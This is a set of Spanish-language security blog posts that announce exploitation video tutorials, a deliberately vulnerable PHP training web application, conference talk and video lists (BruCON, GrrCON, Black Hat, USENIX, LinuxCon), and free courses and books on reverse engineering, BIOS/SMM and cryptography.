Metasploitation es una web dónde publican entradas sobre técnicas de explotación usando Metasploit. Las publicaciones no son escritas, sino en formato audiovisual.

Las publicaciones las tienen agrupadas en distintas categorías:

• Browser AutoPwn2
• Exploiting – Unix
• Exploiting – Windows 10
• Exploiting – Windows 7
• Exploiting – Windows XP
• Google Hacking
• KALI 2.0
• Perl Scripts
• Post Exploitation – Unix
• Post Exploitation – Windows XP
• SET – Social Engineering Toolkit
• WPS – WordPress Scan

Todos los vídeos están publicados en su canal de Youtube.

• Metasploit Full Tutorials - Evade AVIRA AntiVirus with Magic Unicorn
• Metasploit Full Tutorials - Evade BitDefender AntiVirus with Magic Unicorn
• Metasploit Full Tutorials - Gain 'SYSTEM' FROM STDRD USER, Evade AV KAPERSKY with SYSRET
• Metasploit Full Tutorials - Gain SYSTEM and Evade AV KAPERSKY with Magic Unicorn
• Metasploit Full Tutorials - Gain SYSTEM and Evade AV ESETNOD32 with Magic Unicorn
• Metasploit Full Tutorials - Gain SYSTEM and Evade AV AVG with Magic Unicorn
• Metasploit Full Tutorials - Upgrade Shells with PowerShell, Architecture Migration
• Metasploit Full Tutorials - BRUTE MSSQL , Post exploit, Upgrade Shell Privileges
• Metasploit Architecture Migrate - Metepreter Tips and Tricks
• MSSQL EXPLOITING WEAK PASSWORDS to GAIN METERPRETER SHELL PART 2
• MSSQL EXPLOITING WEAK PASSWORDS to GAIN METERPRETER SHELL PART 1
• Samba "Username Map Script" Metasploit Exploit
• FULLY GUIDED SQL Injection Interactive Learning by Seeing & Doing
• Ingreslock Backdoor with Telnet Port 1524
• SQL Injection Basics Level 1 - SQL Injection
• SQL Injection Basics Level 2 - Verbose Table Modification
• Shell To Meterpreter Session Upgrade
• Bypass UAC Privilege Escalation Techniques in Metasploit
• Metasploit - Creating & Setting AutoRunScripts for Post Exploitation
• How To: Veil-Evasion BYPASS Anti Virus with Encrypted Payloads 2015 Kali 2.0
• MSFVenom 30 Times Encoded Payload! in Metasploit And Kali 2.0
• How to: OBTAIN FTP CREDENTIALS AS UNPRIVILEGED USER in Metasploit!
• Kali2 - DOS Attack ACCIDENT in Windows7 with Process Migration!
• Kali2 - DOS Attack ACCIDENT in XP with Process Migration!
• Kali2 - Cracking Windows LM Password Hashes in Metasploit
• Trusted Sec Magic Unicorn Installation
• Gaining A Shell with Adobe Flash NellyMoser Exploit - Metasploit Tutorial
• Evade Antivirus with Kali 2.0 Hack Win 7 SP1 - Veil Evasion
• Evade Anti Virus with Veil Evasion - The Installation Guide in Kali 2.0
• How to Exploit Badly Configured NFS Shares in Linux
• Kali 2.0 - Exploit SNMP Devices
• Kali 2.0 - VirtualBox Guest Additions Install
• Kali Linux 2.0 - Moving Around the GUI Interface
• Kali Linux 2.0 - Installation Walkthrough
• Metasploit Basics - Information Gathering PART2
• Metasploit Basics - Information Gathering PART1
• Metasploit Browser Attacks with Autopwn2!
• Metasploit Browser Autopwn
• Hack with crafted Adobe PDF Exploit with Metasploit
• Adobe Flash Player Exploit 2015 - Use After Free Vulnerability CVE-2015-0311
• MS15-051 - Windows Kernel Mode Drivers Elevation of Privilege Technique
• Firefox Version 31 - 34 Javascript Injection Exploit
• WPS - WordPress Scan. How to Hack Wordpress Overview
• MS15-034: Vulnerability in HTTP.sys Could Allow Remote Code Execution
• Easy File Management Web Server 5.3 - Stack Buffer Overflow
• MS04-007 Kill Bill Bitstring Heap Overflow
• CVE 2012-1823 - PHP CGI Argument Injection
• cSploit 1.5.0 It's Metasploit on Android! Installation & Overview
• Exploiting VNC with Hydra & Metasploit
• Exploiting PostgreSQL VIA Default Passwords List
• Exploiting rlogin with Root Credentials
• CVE-2007-2447 Samba "Username Map Script" Exploit
• CVE-2010-2075 UnrealIRCD 3.2.8.1 Backdoor Command Execution
• Windows 10 Exploit! - Multihandler Remote Execution Vulnerability
• Metasploit - Windows 7 Remote Code Execution
• CVE-2003-0352 MS03-026 Microsoft RPC DCOM Interface Overflow
• CVE-2003-0818 MS04-007 MS ASN.1 Library Bitstring Heap Overflow
• CVE-2008-4250 MS08-067 Microsoft Server Service Relative Path Stack Corruption
• Metasploit - PART 2 - DistCC Daemon to Root Escalation Techniques
• DistCC Daemon Exploit!
• OSVDB-73573 VSFTPD v2.3.4 Backdoor Command Execution
• Metasploit - Exploiting Java RMI Server Configuration Code Execution

Aplicación Web Extremadamente Vulnerable

Xtreme Vulnerable Web Application es una aplicación web con muchos fallos de seguridad implementados de forma intencionada.

Ésta es otra más de las muchas que ya existen. Está escrita en PHP y contiene fallos de seguridad de los siguientes tipos:

• SQL Injection – Error Based
• SQL Injection – Blind
• OS Command Injection
• XPATH Injection
• Unrestricted File Upload
• Reflected Cross Site Scripting
• Stored Cross Site Scripting
• DOM Based Cross Site Scripting
• Server Side Request Forgery (Cross Site Port Attacks)
• File Inclusion
• Session Issues
• Insecure Direct Object Reference
• Missing Functional Level Access Control
• Cross Site Request Forgery (CSRF)
• Cryptography
• Unvalidated Redirect & Forwards
• Server Side Template Injection

Para ejecutar la aplicación necesitas un sistema con Apache, PHP y MySQL. Idealmente deberías instalarla en una máquina virtual, pero como las VMs son cosa del pasado y cómo ya sabéis todos, hemos llegado al futuro ;), he creado una imagen Docker con todo lo necesario para que puedas jugar con ella.

Suponiendo que tienes Docker instalado en tu máquina, todo lo que tienes que hacer es ejecutar:

Presentaciones y vídeos de BruCON 0x07 - 2015

Ya se encuentran disponibles las presentaciones y los vídeos de BruCON 0x07 (2015).

• Creating REAL Threat Intelligence ... with Evernote - L. Grecs (slides)
• Unified DNS View to Track Threats - Dhia Mahjoub & Thomas Mathew
• Desired state: compromised - Ryan Kazanciyan & Matt Hastings (slides)
• Shims For The Win - Willi Ballenthin & Jon Tomczak (slides)
• Hacking as Practice for Transplanetary Life in the 21st Century - Richard Thieme
• CVE-Search - Alexandre Dulaunoy & Pieter-Jan Moreels (slides)
• OSXCollector: Automated forensic evidence collection & analysis for OS X - Kuba Sendor (slides)
• Keynote - Looking Forward - Finding the right balance for INFOSEC - David Kennedy (slides)
• Advanced WiFi Attacks using Commodity Hardware - Mathy Vanhoef (slides)
• The .11 Veil, Camouflage & Covert! Invisible WiFi, Revealed - R. Nandedkar & A. Iyer (slides)
• Nightmares of a Pentester - Chris Nickerson (slides)
• Levelling Up Security @ Riot Games - Mark Hillick (slides)
• SSO: It's the SAML SAML Situation - David Mortman
• Brain Waves Surfing - (In)Security in EEG Technologies - Alejandro Hernandez (slides)
• Keynote - What BASE Jumping Taught Me about Risk - Shyama Rose (slides)
• Didier_Stevens_SDR_Intro.pdf (no vídeo)
• Javier_Marcos_Ted_Reed_OSQuery_Workshop.pdf (no vídeo)
• PDanhieux_EVanBuggenhout_IR_Workshop_Slides.pdf (no vídeo)

Bienvenidos al futuro

Hace 30 años que Doc y McFly ya vivieron en un día como hoy :)

Regreso al futuro

 

Introducción a BIOS y SMM

OpenSecurityTraining ha liberado/actualizado el material de otra de sus magníficas clases. En este caso una clase de nivel avanzada llamada: Introduction to BIOS and SMM (System Management Mode).

La clase se recomienda que se tome en 2 ó 3 días. Los objetivos de la misma son:

• Entender diferencias y similitudes entre UEFI y una BIOS regular.
• Entender el entorno de arranque de BIOS/UEFI y cómo interactúan con la arquitectura del sistema.
• Cómo configurar BIOS/UEFI para maximizar la seguridad, y cómo los atacantes han saltado dichos mecanismos.
• Cómo SMM es inicializado y debe ser protegido.
• Cómo SMM puede ser usado para añadir nuevas capas de seguridad.
• Cómo el chip de la BIOS debería protegerse apropiadamente y qué tipo de ataques se podrían llevar a cabo si éste no es protegido.
• Aprender cómo hacer ingeniería inversa a módulos UEFI.
• Aprender cómo investigar por tu cuenta en este campo.

El material está disponible en PDF o PPTX (Powerpoint). Puedes acceder a las diapositivas de forma individual o todo el material en ambos formatos.

Alternativas a LastPass. Gestores de contraseñas

LastPass es una aplicación que nos ayuda a gestionar nuestros passwords. Es bastante conocido y con buenas críticas, pero hace poco se anunció la adquisición de estos por parte de LogMeIn. Dicha adquisición no parece haber sido bien recibida por muchos, y justo después del anuncio, un competidor directo, Dashlane, reportó un incremento en el número de registros. En las redes sociales tampoco fue muy acogida dicha adquisición, incluso conocidos en el mundo de la seguridad como Troy Hunt, publicó una entrada sobre cómo migrar de LastPass a 1Password.

Introducción a la programación ensamblador para …

Amiga, un viejo conocido de Cyberhades y amado incondicionalmente por el que escribe, fue un ordenador revolucionario a mediados/finales de los 80s, principalmente por el potencial gráfico y el sistema operativo AmigaOS.

Desde Reaktor nos traen una entrada muy didáctica sobre como programar en ensamblador para dicho sistema.

La entrada comienza con la preparación del sistema, en el que usa el emulador FS-UAE (por lo que no necesitas tener un Amiga físicamente), la ROM Kickstart 1.3 y Vasm como ensamblador. A partir de ahí nos muestran unos trucos para la depuración del código, explicación de ciertas parte del código que usa como ejemplo.

Material de LinuxCon Europe 2015

Ya podemos descargarnos las diapositivas (PDFs) de las presentaciones de la LinuxCon Europe 2015 celebrada a principios de este mes de octubre.

• IoTivity Core Framework: Features & Opportunities
• IoT Meets Security
• Creating IoT Demos with IoTivity
• Container mechanics in rkt and Linux
• TC: Traffic Control
• Measuring and reducing crosstalk between virtual machines
• Introduction to GPUs and the Free Software Graphics Stack
• At-Scale Datacenters and the Demand for New Storage Architectures
• Reducing Latency for Linux Transport
• Maximum Performance: How to get it and how to avoid pitfalls
• Linux Performance Profiling and Monitoring
• Introducing the Industrial IIO subsystem - the home of sensor drivers
• Deadline scheduler in the audio domain
• Secure server
• Network Analysis: People and Open Source Communities
• Challenges in Distributed SDN
• Portable Linux Lab - a novel approach to teaching programming in schools
• BitRot detection in GlusterFS
• How to Thoroughly Insult and Offend People in Your Open Source Communities, or “Your #$%@ $%@&ing Sucks and I $%@&ing Hate It"
• OpenSMTPD: we deliver !!
• Use "strace" to understand your shell (BASH)
• gnuplot - A picture says a thousand numbers
• The Devil Wears RPM: Continuous Security Integration
• Introduction to Advanced Bash Usage
• Data Plane Isolation via the Jailhouse Hypervisor
• Enhancements to FreeIPA replication topology management
• Towards Application Driven Storage: Controlling Data Placement and Garbage Collection using RocksDB with LightNVM.
• Developers Care About the License: Using SPDX to Describe License Information
• Outreachy kernel internship report
• Enhance OpenSSH for fun and security
• Balancing Power and Performance in the Linux kernel
• HOW TO DO AFFORDABLE SUPERCOMPUTING AT HOME?
• Suspend/Resume at the Speed of Light
• Setting up an IPv6 Lan with Linux
• eBPF on the mainframe - Packet filtering and more
• Reflections on data plane performance, iptables and ipsets
• How To Make a Positive Impact In Open Source Without Doing Any Coding
• Statistical Performance Analysis with Performance Co-Pilot and R
• Advancements in Automatic File Replication in Gluster
• dbusoorexx - Bringing the Power of D-Bus to Your Fingertips
• Catch Up on the Raspberry Pi
• container management apis: an overview
• NFS-Ganesha and Clustered NAS on Distributed Storage Systems
• Static Analysis of your OSS Project with Coverity
• Tracing virtual machines from the host with trace-cmd virt-server
• ACPI on ARM64: challenges ahead
• IoTivity, the Open Interconnect Consortium and the IoT Challenge
• System recovery with BTRFS and snapshots/rollback
• Boosting Developer Productivity with Clang

thefuck, una aplicación que corrige tu último …

¿Cuántas veces has intentado instalar una aplicación en tu sistema Linux y has olvidado el comando sudo? ¿O cuántas veces has escrito de forma equivocada un comando o un argumento del mismo?

thefuck es una aplicación que es capaz de corregir tu último comando. Se basa en una serie predefinida de errores, pero además te permite añadir tus propias reglas, en caso que quieras añadir algunas nuevas o modificar las ya existentes.

Vídeos de GrrCON 2015

Una vez más desde la web de IronGeek podemos ver los vídeos que se han publicado de la edición de este año de GrrCON, conferencia anual sobre seguridad celebrada en Michigan los pasados 9 y 10 de octubre.

• Subject matter to be determined by the number of federal agents present in the audience Chris Roberts
• Breaking in Bad (I,m The One Who Doesn,t Knock) Jayson Street
• Process The Salvation of Incident Response - Charles Herring
• But Can They Hack?: Examining Technological Proficiency in the US Far Right Tom Holt
• The wrong side of history - everything that is old is new again Arron Finnon
• Poking The Bear Mike Kemp
• The Hitch Hikers Guide to Information Security Kellman Meghu
• Backdooring Git John Menerick
• Spanking the Monkey (or how pentesters can do it better!) Justin Whithead, Chester Bishop
• Adding +10 Security to Your Scrum Agile Environment tehEx0dus
• How I Got Network Creds Without Even Asking: A Social Engineering Case Study Jen Fox
• Shooting Phish in a Barrel and Other Terrible Fish Related Puns infosystir
• This Is All Your Fault Duncan Manuts
• The Safety You Think You Have is Only a Masquerade Nathan Dragun
• Security Incident Response Derek Milroy
• Hacking the Next Generation HealWHans
• Findings Needles in a Needlestack: Enterprise Mass Triage Keven Murphy
• Punch and Counter-punch Part Deux: Web Applications J Wolfgang Goerlich, NerdyBeardo
• Application Recon - The Lost Art Tony Miller
• The Hand That Rocks the Cradle: Hacking Baby Monitors Mark Stanislav
• Software Security IWR Thomas "G13" Richards
• Cyber 101 - Upstaring your career in a leading industry Johnny Deutsch
• Understanding and Improving the Military Cyber Culture Dariusz Mikulski
• Harness the Force for Better Penetration Testing Patrick Fussell
• Targeted Attacks and the Privileged Pivot Mark Nafe
• Shell scripting live Linux Forensics Dr. Phil Polstra
• Can you patch a cloud? Scott Thomas
• Is it EVIL? Chaoticflaws
• Ticking me off: From Threat Intel to Reversing Juan Cortes
• Securing Todays Enterprise WAN Andy Mansfield
• Footprints of This Year's Top Attack Vectors Kerstyn Clover
• Phones and Privacy for Consumers Matt Hoy (mattrix) and David Khudaverdyan (deltaflyer)
• Path Well-Traveled: Common Mistakes with SIEM Nick Jacob
• How compliance doesn't have to suck….at least totally Robert Carson & Bradley Stine
• What is a cloud access broker and do I need one? Tom Doane
• Security Frameworks: What was once old is new again Brian Wrozek
• Attacks Against Critical Infrastructures Weakest Links Jonathan Curtis
• Wireless Intrusion Detection Systems with the Raspberry Pi Chris J
• No One Cares About Your Data Breach Except You ... And Why Should They? Joel Cardella

Currículo Open Source Society University

En Cyberhades creemos firmemente en la educación continúa, sobre todo en el campo en el que nos movemos: la tecnología.

Si sigues el blog, sabrás que nos gustan publicar vídeos, material y clases que se ofrecen de forma gratuita, ya hemos hablado de Coursera, Udacity, MIT (OpenCourseWare), etc, verdaderas joyas para el autodidacta.

En sitios web como Coursera o Udacity, pusieron de moda la idea de Specializations o Nanodegrees respectivamente. Estos no son más que un currículo que agrupa una serie de clases ofrecidas por los mismos, con enfoque a un tema en particular.

Fotos de la Maker Faire 2015

Este año hemos tenido también la suerte de asistir a la fantástica Maker Faire de Queens en Nueva York. Aquí podéis ver una selección de productos y stands que más nos han llamado la atención. Aún seguimos analizando toda la información que hemos sacado de nuestra visita e intentaremos publicarla también poco a poco en el blog.

De Nuevo hay que destacar la gran afluencia de público, sobre todo familias, donde se compartían diferentes actividades creativas como aprender a soldar, programar ladrillos de LEGO, coser o incluso a montar pinballs de cartón.

Vídeos de Black Hat USA 2015

Y después del material, ya podemos acceder también a los vídeos de las presentaciones de Black Hat USA 2015:

• ZigBee Exploited The Good, The Bad, And The Ugly
• WSUSpect Compromising The Windows Enterprise Via Windows Update
• Writing Bad @$$ Malware For OS X
• Winning The Online Banking War
• Why Security Data Science Matters & How It's Different Pitfalls And Promises Of
• Why Security Data Science Matters & How It's Different Pitfalls And Promises Of
• When IoT Attacks Hacking A Linux Powered Rifle
• Web Timing Attacks Made Practical
• Using Static Binary Analysis To Find Vulnerabilities And Backdoors In Firmware
• Unicorn Next Generation CPU Emulator Framework
• Understanding The Attack Surface & Attack Resilience Of Project Spartan's New E
• Understanding And Managing Entropy Usage
• TrustKit Code Injection On IOS 8 For The Greater Good
• ThunderStrike 2 Sith Strike
• THIS IS DeepERENT Tracking App Behaviors With Nothing Changed Phone
• These're Not Your Grand Daddy's CPU Performance Counters CPU Hardware Performa
• The Tactical Application Security Program Getting Stuff Done
• The NSA Playset A Year Of Toys And Tools
• The Node js Highway Attacks Are At Full Throttle
• The Memory Sinkhole Unleashing An X86 Design Flaw Allowing Universal Privilege
• The Little Pump Gauge That Could Attacks Against Gas Pump Monitoring Systems
• The Lifecycle Of A Revolution
• The Kali Linux Dojo Workshop #2 Kali USB Setups With Persistent Stores & LUKS N
• The Kali Linux Dojo Workshop #1 Rolling Your Own Generating Custom Kali Linux 2
• The Battle For Free Speech On The Internet
• The Applications Of Deep Learning On Traffic Identification
• Taxonomic Modeling Of Security Threats In Software Defined Networking
• Targeted Takedowns Minimizing Collateral Damage Using Passive DNS
• Taking Event Correlation With You
• Take A Hacker To Work Day How Federal Prosecutors Use The CFAA
• Switches Get Stitches
• Subverting Satellite Receivers For Botnet And Profit
• Stranger Danger! What Is The Risk From 3rd Party Libraries
• Staying Persistent In Software Defined Networks
• Stagefright Scary Code In The Heart Of Android
• Spread Spectrum Satcom Hacking Attacking The Globalstar Simplex Data Service
• Social Engineering The Windows Kernel Finding & Exploiting Token Handling Vulne
• SMBv2 Sharing More Than Just Your Files
• Server Side Template Injection RCE For The Modern Web App
• Securing Your Big Data Environment
• ROPInjector Using Return Oriented Programming For Polymorphism & Antivirus Evas
• Rocking The Pocket Book Hacking Chemical Plant For Competition And Extortion
• Review And Exploit Neglected Attack Surfaces In IOS 8
• Return To Where You Can't Exploit What You Can't Find
• Repurposing OnionDuke A Single Case Study Around Reusing Nation State Malware
• Remote Physical Damage 101 Bread And Butter Attacks
• Remote Exploitation Of An Unaltered Passenger Vehicle
• Red Vs Blue Modern Active Directory Attacks, Detection, And Protection
• PWNIE AWARDS
• Pen Testing A City
• Panel How The Wassenaar Arrangement's Export Control Of Intrusion Soft Affect
• Optimized Fuzzing IOKit In IOS
• My Bro The ELK Obtaining Context From Security Events
• Most Ransomware Isn't As Complex As You Might Think
• Mobile Point Of Scam Attacking The Square Reader
• Is The NSA Still Listening To Your Calls A Surveillance Debate Congressiona
• Internet Scale File Analysis
• Internet Facing PLCs A New Back Orifice
• Internet Plumbing Gor Security Professionals The State Of BGP Security
• Information Access And Information Sharing Where We Are And Where We Are Going
• How Vulnerable Are We To Scams
• How To Implement IT Security After A Cyber Meltdown
• How To Hack Government Technologists As Policy Makers
• Hidden Risks Of Biometric Identifiers And How To Avoid Them
• HI THIS IS URGENT PLZ FIX ASAP Critical Vulnerabilities And Bug Bounty Programs
• Harnessing Intelligence From Malware Repositories
• Graphic Content Ahead Towards Auto Scalable Analysis Of Graphical Images Emb
• GameOver Zeus Badguys And Backends
• From False Positives To Actionable Analysis Behavioral Intrusion Detection
• Forging The USB Armory, An Open Source Secure Flash Drive Sized Computer
• Fingerprints On Mobile Devices Abusing And Leaking
• FileCry The New Age Of XXE
• Faux Disk Encryption Realities Of Secure Storage On Mobile Devices
• Exploiting XXE Vulnerabilities In File Parsing Functionality
• Exploiting The DRAM Rowhammer Bug To Gain Kernel Privileges
• Exploiting Out of Order Execution For Covert Cross VM Communication
• Emanate Like A Boss Generalized Covert Data Exfiltration With Funtenna
• Dom Flow Untangling The DOM For More Easy Juicy Bugs
• Distributing The Reconstruction Of High Level Intermediate Representation
• Defeating Pass the Hash Separation Of Powers
• Defeating Machine Learning What Your Security Vendor Is Not Telling You
• Deep Learning On Disassembly
• Data Driven Threat Intelligence Metrics On Indicator Dissemination And Sharing
• Dance Like Nobodys Watching Encrypt Like Everyone Is A Peek Inside The BlackHat
• Crash & Pay How To Own And Clone Contactless Payment Devices
• CrackLord Maximizing Password Cracking Boxes
• Commercial Mobile Spyware Detecting The Undetectable
• Cloning 3G4G SIM Cards With A PC And An Oscilloscope Lessons Learned
• Certifi gate Front Door Access To Pwning Millions Of Androids
• Bypass Surgery Abusing Content Delivery Networks With Ser-Side Request Forgery
• Bypass Control Flow Guard Comprehensively
• Broadcasting Your Attack Security Testing DAB Radio In Cars
• Bringing A Cannon To A Knife Fight
• Bring Back The Honeypots
• Breaking Payloads With Runtime Code Stripping And Image Freezing
• Breaking HTTPS With BGP Hijacking
• Breaking Honeypots For Fun And Profit
• Breaking Access Controls With BLEKey
• Big Game Hunting The Peculiarities Of Nation State Malware Research
• BGP Stream
• Behind The Mask The Agenda, Tricks, & Tactics Of The Federal Trade Commission A
• Battle Of The SKM And IUM How Windows 10 Rewrites OS Architecture
• Back Doors And Front Doors Breaking The Unbreakable System
• Automated Human Vulnerability Scanning With AVA
• Attacking Interoperability An OLE Edition
• Attacking Hypervisors Using Firmware And Hardware
• Attacking ECMAScript Engines With Redefinition
• Assessing And Exploiting BigNum Vulnerabilities
• API Deobfuscator Resolving Obfuscated API Functions In Modern Packers
• Android Security State Of The Union
• Ah! Universal Android Rooting Is Back
• Adventures In Femtoland 350 Yuan For Invaluable Fun
• Advanced IC Reverse Engineering Tech In Depth Analysis Of A Modern Smart Ca
• Abusing XSLT For Practical Attacks
• Abusing Windows Management Instrumentation WMI To Build A Persistent, Asyn
• Abusing Silent Mitigations Understanding Weaknesses Within Internet Explorer's

Aprende a usar la línea de comandos lo suficiente …

Con el título de Learn enough command line to be dangerous, Michael Hartl (creador de Ruby On Rails) está escribiendo un libro sobre una introducción a la línea de comandos de sistemas *nix (Linux, Mac OS, etc).

El contenido de lo que lleva escrito por ahora está disponible en el enlace anterior. Éste empieza con la instalación de una máquina virtual (Ubuntu) por si no tienes acceso a un sistema *nix o si estás aprendiendo, por si las moscas.

Cómo funcionan los gráficos en sistemas de 8bits

A través de una serie de vídeos (dos por el momento), The ibookguy nos ilustra cómo se manejaban los gráficos en sistemas antiguos como Commodore, Nintendo, Apple o Atari.

Como decía, son sólo dos vídeos los publicados por el momento, pero su autor nos promete más.

En el primero de los vídeos que a continuación enlazo, nos hable del sistema gráfico de Commodore y Nintendo y en el segundo, nos habla sobre Apple y Atari. Ambos vídeos son muy cortitos (~7 y ~5 minutos), pero muy educativos y entretenidos. Si te gusta la retroinformática no te los puedes perder.

Los mayores robos de datos de 2015, hasta el …

Image: Caroline Wurtzel/Bustle

Libro gratuito sobre ingeniería inversa de …

iOS Apps Reverse Engineering es un libro en formato PDF accesible de forma totalmente gratuita totalmente enfocado a la ingeniería inversa de aplicaciones iOS (iPhone/iPad).

El libro está organizado en cuatro apartados:

• Conceptos
• Herramientas
• Teoría
• Práctica

Éste apunta también a cuatro grupos distintos de lectores:

• Apasionados sobre el sistema operativo iOS.
• Desarrolladores de iOS ya experimentados, que buscan entender mejor el sistema.
• Arquitectos de software, que buscan aprender sobre la arquitectura de otras aplicaciones.
• Hackers interesados en la ingeniería inversa.

Puedes descargar el PDF desde este enlace. Y si lo prefieres, puedes comprar una copia del mismo en papel por tan sólo 9,99 dólares.

A Graduate Course in Applied Cryptography, libro …

A Graduate Course in Applied Cryptography es el título de un libro que podemos descargarnos en formato PDF de forma totalmente gratuita.

Como su nombre indica, dicho libro trata sobre criptografía aplicada. Todavía no está terminado y seguramente sufra algunos cambios/correcciones.

Los autores del mismo: Dan Boneh y Victor Shoup. A muchos os sonara el nombre de Dan Boneh, éste el profesor del tan popular curso Cryptography I en Coursera y del tan esperado Cryptography II, el que tantos retrasos a sufrido. Me pregunto cuanta culpa ha tenido este libro :), el cual, posiblemente se use como material de referencia en sus cursos.

Curso sobre ingeniería inversa de aplicaciones …

Como de costumbre, en la mayoría de las conferencias sobre seguridad, además de las charlas, siempre se ofrecen talleres y cursos.

En la pasada Defcon 23, miembros Red Naga (@jcase, CalebFenton y @timstrazz), impartieron un curso sobre ingeniería inversa en aplicaciones Android, cuyo contenido han publicado en Github.

En dicho repositorio podemos encontrar un PDF bastante extenso (214 diapositivas), además algunos de los retos/talleres que se usaron en dicho curso.

Se asume que debes tener un mínimo conocimiento sobre conceptos de ingeniería inversa y se recomienda el uso de una de las siguientes herramientas (aunque no es un requisito):

Curso sobre ingeniería inversa de hardware

Gracias de nuevo al Instituto Politécnico de Renssselaer en Troy, Nueva York, podemos acceder al contenido de otro de sus cursos sobre seguridad informática, en este caso sobre ingeniería inversa de hardware, éste correspondiente al año anterior.

El curso se impartió con el siguiente temario:

Lecture 1: Course overview, motivation, legal issues, switch model of CMOS logic Lecture 2: Package construction Quiz 1: CMOS schematics, packaging Quiz 1a: Makeup exam Lecture 3: Depackaging Quiz 2: Depackaging Lecture 4: CMOS layout Download the example layouts Quiz 3: CMOS layout Homework 1 out Homework 1 images More homework 1 images Lecture 5: Fabrication processes Lecture 6: Deprocessing Quiz 4: Process ID and deprocessing Lecture 7: CPLD architecture Quiz 5: CPLD architecture Lecture 8: Microscopy and Imaging Files for in-class exercise Quiz 6: Microscopy and imaging Lecture 9: Mask ROM layout Lecture 10: PROM/EPROM/EEPROM/efuse/Flash layout Lecture 11: SRAM layout Quiz 7: Memory technology Lecture 12: Non-invasive attacks on logic Prof. Yener’s slides Brennan’s slides Lecture 14: Invasive and semi-invasive attacks Quiz 8: Attacks Lecture 15: PCB RE: Component ID, block diagram extraction Lecture 16: Guest lecture by Danny Walters (MITRE) on electromagnetic side-channel attacks Lecture 17: Anti-tamper / anti-analysis techniques Lecture 18: PCB RE: Fab, deprocessing, netlist extraction Quiz 9: PCB RE Lecture 19: Programmable logic: FPGAs Lecture 20: Machine vision, automated RE tools

Modern Windows Exploit Development (Libro)

Ya hemos hablado de esta serie de tutoriales titulada Exploi Development Course anteriormente.

El autor de la misma a puesto a disposición de todos y de forma totalmente gratuita un libro titulado Modern Windows Exploit Development con el contenido de dicha serie.

El libro está en formato PDF y contiene 529 páginas.

Vídeos del Chaos Communication Camp 2015

Para cualquier profesional en el campo de la seguridad informática, el verano no es precisamente la temporada para desconectar, si no todo lo contrario, es la época del año en la que te tienes que poner las botas y absorber toda la información que puedas, sobre todo de las grandes conferencias sobre seguridad que acontecen alrededor del mundo.

En este caso hablamos de Chaos Communication Camp, una conferencia veraniega organizada por miembros del CCC (Chaos Communication Club), que cómo sabemos, éste se celebra una de las mejores conferencias del mundo a finales de diciembre.

Material de USENIX 24 y sus talleres: WOOT, CSET, …

La organización sobre computación avanzada USENIX, celebra su 24 simposio sobre seguridad. Dicho evento termina hoy, pero el contenido de las charlas ya se encuentran disponibles:

• Post-Mortem of a Zombie: Conficker Cleanup After Six Years - Paper
• Mo(bile) Money, Mo(bile) Problems: Analysis of Branchless Banking Applications in the Developing World - Paper
• Measuring the Longitudinal Evolution of the Online Anonymous Marketplace Ecosystem - Paper
• Under-Constrained Symbolic Execution: Correctness Checking for Real Code - Paper
• TaintPipe: Pipelined Symbolic Taint Analysis - Paper
• Type Casting Verification: Stopping an Emerging Attack Vector - Paper
• All Your Biases Belong to Us: Breaking RC4 in WPA-TKIP and TLS - Paper
• Attacks Only Get Better: Password Recovery Attacks Against RC4 in TLS - Paper
• Eclipse Attacks on Bitcoin’s Peer-to-Peer Network - Paper
• Compiler-instrumented, Dynamic Secret-Redaction of Legacy Processes for Attacker Deception - Paper
• Control-Flow Bending: On the Effectiveness of Control-Flow Integrity - Paper
• Automatic Generation of Data-Oriented Exploits - Paper
• Protocol State Fuzzing of TLS Implementations - Paper
• Verified Correctness and Security of OpenSSL HMAC - Paper
• Not-Quite-So-Broken TLS: Lessons in Re-Engineering a Security Protocol Specification and Implementation - Paper
• To Pin or Not to Pin—Helping App Developers Bullet Proof Their TLS Connections - Paper
• De-anonymizing Programmers via Code Stylometry - Paper
• RAPTOR: Routing Attacks on Privacy in Tor - Paper
• Circuit Fingerprinting Attacks: Passive Deanonymization of Tor Hidden Services - Paper
• SecGraph: A Uniform and Open-source Evaluation System for Graph Data Anonymization and De-anonymization - Paper
• Dismantling Megamos Crypto: Wirelessly Lockpicking a Vehicle Immobilizer - Paper
• Trustworthy Whole-System Provenance for the Linux Kernel - Paper
• Securing Self-Virtualizing Ethernet Devices - Paper
• EASEAndroid: Automatic Policy Analysis and Refinement for Security Enhanced Android via Large-Scale Semi-Supervised Learning - Paper
• Marionette: A Programmable Network Traffic Obfuscation System - Paper
• CONIKS: Bringing Key Transparency to End Users - Paper
• Investigating the Computer Security Practices and Needs of Journalists - Paper
• Constants Count: Practical Improvements to Oblivious RAM - Paper
• Raccoon: Closing Digital Side-Channels through Obfuscated Execution - Paper
• M2R: Enabling Stronger Privacy in MapReduce Computation - Paper
• Measuring Real-World Accuracies and Biases in Modeling Password Guessability - Paper
• Sound-Proof: Usable Two-Factor Authentication Based on Ambient Sound - Paper
• Android Permissions Remystified: A Field Study on Contextual Integrity - Paper
• Phasing: Private Set Intersection Using Permutation-based Hashing - Paper
• Faster Secure Computation through Automatic Parallelization - Paper
• The Pythia PRF Service - Paper
• EVILCOHORT: Detecting Communities of Malicious Accounts on Online Services - Paper
• Trends and Lessons from Three Years Fighting Malicious Extensions - Paper
• Meerkat: Detecting Website Defacements through Image-based Object Recognition - Paper
• Recognizing Functions in Binaries with Neural Networks - Paper
• Reassembleable Disassembling - Paper
• How the ELF Ruined Christmas - Paper
• Finding Unknown Malice in 10 Seconds: Mass Vetting for New Threats at the Google-Play Scale - Paper
• You Shouldn’t Collect My Secrets: Thwarting Sensitive Keystroke Leakage in Mobile IME Apps - Paper
• Boxify: Full-fledged App Sandboxing for Stock Android - Paper
• Cookies Lack Integrity: Real-World Implications - Paper
• The Unexpected Dangers of Dynamic JavaScript - Paper
• ZigZag: Automatically Hardening Web Applications Against Client-side Validation Vulnerabilities - Paper
• Anatomization and Protection of Mobile Apps’ Location Privacy Threats - Paper
• LinkDroid: Reducing Unregulated Aggregation of App Usage Behaviors - Paper
• PowerSpy: Location Tracking Using Mobile Device Power Analysis - Paper
• In the Compression Hornet’s Nest: A Security Study of Data Compression in Network Services - Paper
• Bohatei: Flexible and Elastic DDoS Defense - Paper
• Boxed Out: Blocking Cellular Interconnect Bypass Fraud at the Network Edge - Paper
• GSMem: Data Exfiltration from Air-Gapped Computers over GSM Frequencies - Paper
• Thermal Covert Channels on Multi-core Platforms - Paper
• Rocking Drones with Intentional Sound Noise on Gyroscopic Sensors - Paper
• Cache Template Attacks: Automating Attacks on Inclusive Last-Level Caches - Paper
